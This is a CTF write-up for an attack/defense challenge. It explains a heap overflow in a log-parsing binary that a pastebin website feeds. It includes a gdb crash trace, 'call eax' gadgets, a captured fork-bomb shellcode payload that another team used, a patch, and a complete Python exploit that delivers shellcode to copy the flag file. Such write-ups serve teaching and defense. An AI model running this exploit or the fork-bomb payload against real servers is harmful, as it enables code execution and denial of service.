The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");
    exit();
}

So a log entry has the following format :

timestamp + post_length md5_title title\n


Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
{
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
 
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
  {
    switch ( req_type )
    {
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
        break;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
        break;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        break;
      default:
        free(buffer);
        buffer = 0;
        break;
    }
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
  }
  else
  {
    free(buffer);
    buffer = 0;
  }
  return buffer;
}

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
[...]
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161
(gdb) 


We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)


This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from 10.11.3.50 :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop



How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);


Exploit :

import urllib2, sys, struct
 
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
 
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
 
title = shellcode.rjust(292,"\x90")
title += addr
 
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
    exit(1)
 
url = sys.argv[1]
 
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")
    #print p.read()
 
exploit()